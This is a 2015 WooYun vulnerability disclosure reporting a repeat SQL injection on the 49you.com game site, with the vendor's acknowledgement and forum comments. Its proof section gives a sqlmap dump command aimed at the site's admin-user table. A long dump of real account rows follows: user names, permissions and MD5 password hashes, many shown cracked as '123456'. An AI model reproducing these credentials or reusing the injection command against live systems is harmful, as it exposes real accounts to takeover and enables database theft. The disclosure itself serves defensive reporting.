当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0123182

漏洞标题：四九游网页游戏主站post注入泄露用户以及管理员订单号等等各种数据#第二集

相关厂商：49you.com

漏洞作者： 小龙

提交时间：2015-06-28 11:10

修复时间：2015-08-13 10:20

公开时间：2015-08-13 10:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-28： 细节已通知厂商并且等待厂商处理中
2015-06-29： 厂商已经确认，细节仅向厂商公开
2015-07-09： 细节向核心白帽子及相关领域专家公开
2015-07-19： 细节向普通白帽子公开
2015-07-29： 细节向实习白帽子公开
2015-08-13： 细节向公众公开

简要描述：

说好的叁万呢，就是匿在哪里看漏洞，然后修复掉对吗- -，没事啦，我这个人很说的开的

详细说明：

续

 WooYun: 四九游网页游戏主站post注入泄露用户以及管理员订单号等等各种数据


由于厂商修复了注入，但是你的安全真的做好了吗？没有。

49游再次沦陷.jpg

漏洞证明：

数据再次泄露

sqlmap.py -r C:\1.txt -D "mei" -T "49app_spread_admin_user" -C "company_id,company_name,create_date,email,id,password,phone,powers,user_name" --dump


账号密码充值金额还有很多，其中我按ctrl+c给取消了，太多了。。上部分数据

| 49CPS16           |
| 1625       | <blank>          | 2015-03-17 13:00:39 | NULL                 | 1
093 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2,6
  | 49CPS17           |
| 1626       | <blank>          | 2015-03-17 13:01:04 | NULL                 | 1
094 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2,6
  | 49CPS18           |
| 1627       | <blank>          | 2015-03-17 13:01:28 | NULL                 | 1
095 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2,6
  | 49CPS19           |
| 1628       | <blank>          | 2015-03-17 13:01:54 | NULL                 | 1
096 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2,6
  | 49CPS20           |
| 1629       | <blank>          | 2015-03-17 14:42:06 | NULL                 | 1
097 | 1AE8BCA812C34AC6249E9A306CE18E0C              | NULL        | 1,2,3,5,6
  | gzwanqu           |
| 1630       | <blank>          | 2015-03-17 15:57:27 | NULL                 | 1
098 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2,6
  | 49CPS21           |
| 1631       | <blank>          | 2015-03-17 15:57:57 | NULL                 | 1
099 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2,6
  | 49CPS22           |
| 1632       | <blank>          | 2015-03-17 15:58:23 | NULL                 | 1
100 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2,6
  | 49CPS23           |
| 1633       | <blank>          | 2015-03-17 16:22:36 | NULL                 | 1
101 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | fenghuogh         |
| 1634       | <blank>          | 2015-03-17 16:23:01 | NULL                 | 1
102 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | mowugh            |
| 1635       | <blank>          | 2015-03-17 16:23:36 | NULL                 | 1
103 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | maxzhf            |
| 1636       | <blank>          | 2015-03-17 16:23:56 | NULL                 | 1
104 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | xinzaitianya      |
| 1637       | <blank>          | 2015-03-17 16:45:31 | NULL                 | 1
105 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2,3
  | timocps319        |
| 1639       | <blank>          | 2015-03-17 17:01:48 | NULL                 | 1
106 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2,3
  | timocps227        |
| 1640       | <blank>          | 2015-03-17 17:04:45 | NULL                 | 1
107 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2,3
  | timocps737        |
| 1641       | <blank>          | 2015-03-17 17:11:18 | NULL                 | 1
108 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2,3
  | timocps546        |
| 1642       | <blank>          | 2015-03-17 17:20:47 | NULL                 | 1
109 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | msd               |
| 1643       | <blank>          | 2015-03-17 17:26:14 | NULL                 | 1
110 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2,3
  | timocps853        |
| 1638       | <blank>          | 2015-03-17 17:26:23 | NULL                 | 1
111 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | fengxingyouxi     |
| 1644       | <blank>          | 2015-03-17 18:27:38 | NULL                 | 1
112 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2,5,6
  | 49CPS24           |
| 1645       | <blank>          | 2015-03-17 18:28:20 | NULL                 | 1
113 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2,5,6
  | 49CPS25           |
| 1646       | <blank>          | 2015-03-17 19:41:18 | NULL                 | 1
114 | C622FBF86C55AAF42F77C54B27B32B76              | NULL        | 1,2,3,5,6
  | gzwanqu002        |
| 1647       | <blank>          | 2015-03-17 19:42:07 | NULL                 | 1
115 | 048C79937A801D12DC1180F466CB12B7              | NULL        | 1,2,3,5,6
  | gzwanqu003        |
| 1648       | <blank>          | 2015-03-17 19:42:28 | NULL                 | 1
116 | 08A5C46A977C8F64AADC49F901AA12CE              | NULL        | 1,2,3,5,6
  | gzwanqu004        |
| 1649       | <blank>          | 2015-03-17 19:42:54 | NULL                 | 1
117 | A575D12A8381F5F37A1A395D86589625              | NULL        | 1,2,3,5,6
  | gzwanqu005        |
| 1650       | <blank>          | 2015-03-17 19:43:20 | NULL                 | 1
118 | C22F297D8E5055D3A5C9F1FCFEEE2F9E              | NULL        | 1,2,3,5,6
  | gzwanqu006        |
| 1651       | <blank>          | 2015-03-17 19:43:44 | NULL                 | 1
119 | BEC7667FFA5E480AB7EB13E5B5F1BD41              | NULL        | 1,2,3,5,6
  | gzwanqu007        |
| 1652       | <blank>          | 2015-03-17 19:44:09 | NULL                 | 1
120 | 850AF07C79EB99E44642070293133B83              | NULL        | 1,2,3,5,6
  | gzwanqu008        |
| 1653       | <blank>          | 2015-03-17 19:44:41 | NULL                 | 1
121 | 0B4534DD9FB7DE3C095C7C0A8E3FDF68              | NULL        | 1,2,3,5,6
  | gzwanqu009        |
| 1655       | <blank>          | 2015-03-17 19:45:03 | NULL                 | 1
122 | 55025E52E325F59BA668298DC5551FFE              | NULL        | 1,2,3,5,6
  | gzwanqu010        |
| 1656       | <blank>          | 2015-03-17 19:45:23 | NULL                 | 1
123 | 1F7DA6000F5EB0BC3FB9C4FAFE046624              | NULL        | 1,2,3,5,6
  | gzwanqu011        |
| 1657       | <blank>          | 2015-03-17 19:45:49 | NULL                 | 1
124 | 5FAD9C574E4383489316D98E9C4561E4              | NULL        | 1,2,3,5,6
  | gzwanqu012        |
| 1658       | <blank>          | 2015-03-17 19:46:09 | NULL                 | 1
125 | A1152E41EA5EC1B14B46C9FD6DD9FC2D              | NULL        | 1,2,3,5,6
  | gzwanqu013        |
| 1659       | <blank>          | 2015-03-17 19:46:27 | NULL                 | 1
126 | 12BBC45A6D80B483CE67134EE141CD5B              | NULL        | 1,2,3,5,6
  | gzwanqu014        |
| 1660       | <blank>          | 2015-03-17 19:47:41 | NULL                 | 1
127 | B4FCE9A56E1DF847A17995FE9DA38DBF              | NULL        | 1,2,3,5,6
  | gzwanqu015        |
| 1661       | <blank>          | 2015-03-17 19:47:59 | NULL                 | 1
128 | ABA5900F7EBA12BA78721E447D80FEF9              | NULL        | 1,2,3,5,6
  | gzwanqu016        |
| 1          | <blank>          | 2015-03-18 09:35:26 | NULL                 | 1
129 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | chenjing          |
| 1690       | <blank>          | 2015-03-18 09:38:21 | NULL                 | 1
130 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | mzw               |
| 1689       | <blank>          | 2015-03-18 09:44:06 | NULL                 | 1
131 | 94302B999DF2D40ED553837288C4F286              | NULL        | 1,2,5,6
  | max0518           |
| 1692       | <blank>          | 2015-03-18 10:20:47 | NULL                 | 1
132 | 0C3C2BB8D84A4608C9AD2BA23B424D5A              | NULL        | 1,2,3,5,6
  | gzlingyou         |
| 1683       | <blank>          | 2015-03-18 10:22:47 | NULL                 | 1
133 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | shouyoutianxia    |
| 1693       | <blank>          | 2015-03-18 10:46:06 | NULL                 | 1
134 | 9F2A6CA44F910FC8DACF138C772DEA4C              | NULL        | 1,2,3,5,6
  | gzwanqu017        |
| 1694       | <blank>          | 2015-03-18 10:46:40 | NULL                 | 1
135 | 158D7FBD0E07B726DFA99C3F0CFF6AAB              | NULL        | 1,2,3,5,6
  | gzwanqu018        |
| 1695       | <blank>          | 2015-03-18 10:47:04 | NULL                 | 1
136 | 23A385A677DA8BCFC2D0096F265D4C35              | NULL        | 1,2,3,5,6
  | gzwanqu019        |
| 1696       | <blank>          | 2015-03-18 10:47:38 | NULL                 | 1
137 | A479E986EB8830C39CD0B6B14B417538              | NULL        | 1,2,3,5,6
  | gzwanqu020        |
| 1697       | <blank>          | 2015-03-18 10:47:59 | NULL                 | 1
138 | 30B5D1EB4809951614F9BE72E2EF75D9              | NULL        | 1,2,3,5,6
  | gzwanqu021        |
| 1698       | <blank>          | 2015-03-18 11:17:28 | NULL                 | 1
139 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2,5,6
  | 49CPS26           |
| 1699       | <blank>          | 2015-03-18 11:19:32 | NULL                 | 1
140 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2,5,6
  | 49CPS27           |
| 1700       | <blank>          | 2015-03-18 13:15:13 | NULL                 | 1
141 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2,3
  | 91chuanmeicps     |
| 1701       | <blank>          | 2015-03-18 14:20:47 | NULL                 | 1
142 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | hclm3             |
| 1702       | <blank>          | 2015-03-18 14:21:39 | NULL                 | 1
143 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | hclm4             |
| 1681       | <blank>          | 2015-03-18 15:22:13 | NULL                 | 1
144 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | yiyou             |
| 1684       | <blank>          | 2015-03-18 15:55:17 | NULL                 | 1
145 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | tianqu            |
| 1703       | <blank>          | 2015-03-18 15:55:31 | NULL                 | 1
146 | 76D6B6F8E3ADAA07236D166899C06636              | NULL        | 1,2,3,5,6
  | gzwanqu023        |
| 1704       | <blank>          | 2015-03-18 15:56:06 | NULL                 | 1
147 | 854E4BB6FA614A92F6E1CD7E11122B28              | NULL        | 1,2,3,5,6
  | gzwanqu024        |
| 1705       | <blank>          | 2015-03-18 15:56:46 | NULL                 | 1
148 | 7CAEEADECF72CF578ADFE26E25B0B9BF              | NULL        | 1,2,3,5,6
  | gzwanqu025        |
| 1706       | <blank>          | 2015-03-18 15:58:47 | NULL                 | 1
149 | 4BBF386CD2FCF497DAAEB81CB1F323E8              | NULL        | 1,2,3,5,6
  | gzwanqu026        |
| 1707       | <blank>          | 2015-03-18 15:59:08 | NULL                 | 1
150 | 1A7CBB76608429D94D6DF2A931AB9D52              | NULL        | 1,2,3,5,6
  | gzwanqu027        |
| 1709       | <blank>          | 2015-03-18 16:26:44 | NULL                 | 1
151 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | htc               |
| 1710       | <blank>          | 2015-03-18 16:29:32 | NULL                 | 1
152 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | wuhandianxin      |
| 1712       | <blank>          | 2015-03-18 16:54:52 | NULL                 | 1
154 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | tsjd              |
| 1711       | <blank>          | 2015-03-18 16:57:27 | NULL                 | 1
155 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | gzgs              |
| 1713       | <blank>          | 2015-03-18 17:06:25 | NULL                 | 1
156 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | zhizunhz          |
| 1688       | <blank>          | 2015-03-18 17:31:08 | NULL                 | 1
157 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | gzcj              |
| 1674       | <blank>          | 2015-03-19 09:19:03 | NULL                 | 1
158 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | tt                |
| 1714       | <blank>          | 2015-03-19 13:39:33 | NULL                 | 1
159 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1
  | kj                |
| 1682       | <blank>          | 2015-03-19 13:57:28 | NULL                 | 1
160 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | anfeng            |
| 1715       | <blank>          | 2015-03-19 14:27:47 | NULL                 | 1
161 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | yujiangh          |
| 1716       | <blank>          | 2015-03-19 15:45:35 | NULL                 | 1
162 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | zhangshang        |
| 1717       | <blank>          | 2015-03-20 15:09:38 | NULL                 | 1
163 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | jiutiangh         |
| 1718       | <blank>          | 2015-03-20 18:45:07 | NULL                 | 1
164 | A855ECDF21679F50B18E4AAEDC474C93              | NULL        | 1,2,5,6
  | rodica            |
| 1686       | <blank>          | 2015-03-23 11:33:18 | NULL                 | 1
165 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | chuanqi           |
| 1720       | <blank>          | 2015-03-23 16:30:04 | NULL                 | 1
166 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | liuming           |
| 1721       | <blank>          | 2015-03-24 11:14:18 | NULL                 | 1
167 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2,5,6
  | maxlm             |
| 1722       | <blank>          | 2015-03-24 11:17:11 | NULL                 | 1
168 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | qingtiangh        |
| 1723       | <blank>          | 2015-03-24 14:39:10 | NULL                 | 1
169 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2,5,6
  | momo              |
| 1724       | <blank>          | 2015-03-24 14:41:40 | NULL                 | 1
170 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1
  | tiandi            |
| 1725       | <blank>          | 2015-03-24 15:07:51 | NULL                 | 1
171 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1
  | 49CPA             |
| 1726       | <blank>          | 2015-03-24 17:46:49 | NULL                 | 1
172 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | wancaigzs         |
| 1727       | <blank>          | 2015-03-25 11:20:01 | NULL                 | 1
173 | E10ADC3949BA59ABBE56E057F20F883E (123456)     | NULL        | 1,2
  | yhghbmqy          |

修复方案：

1：密码改掉
2：sql注入修复

版权声明：转载请注明来源 小龙@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2015-06-29 10:19

厂商回复：

确认时间由于是周末，未早点确认比较抱歉
非常感谢白帽子童鞋 @小龙，技术正在紧急修复中

最新状态：

暂无

漏洞评价：

评论

  1. 2015-06-28 11:21 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    @上海49游 @xsser @浩天 @疯狗 你们都怎么看？

  2. 2015-06-28 11:29 | 染血の雪 ( 普通白帽子 | Rank:117 漏洞数:16 | 击缻)

    他把你前面那个洞偷偷修了？

  3. 2015-06-28 16:34 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    @染血の雪 yes，国美的更逗，三个洞只确认一个，乌云的厂商门槛看来太低啊，要来个收费才可以啊，他们才知道珍惜，不玩天天给分给这跟玩一样。。。想给就给，不给就不给

  4. 2015-06-28 18:29 | 大表哥_ ( 实习白帽子 | Rank:32 漏洞数:10 )

    这种厂商装逼的，一个酱油仔真以为给得起，不就想帮他们挖洞吗

  5. 2015-06-29 10:21 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    @上海49游 为毛我的洞啥奖励都没- - 泪奔。。。。囧

  6. 2015-06-29 13:24 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    年轻，就是叼。。

  7. 2015-06-29 13:24 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    国美就是个逗逼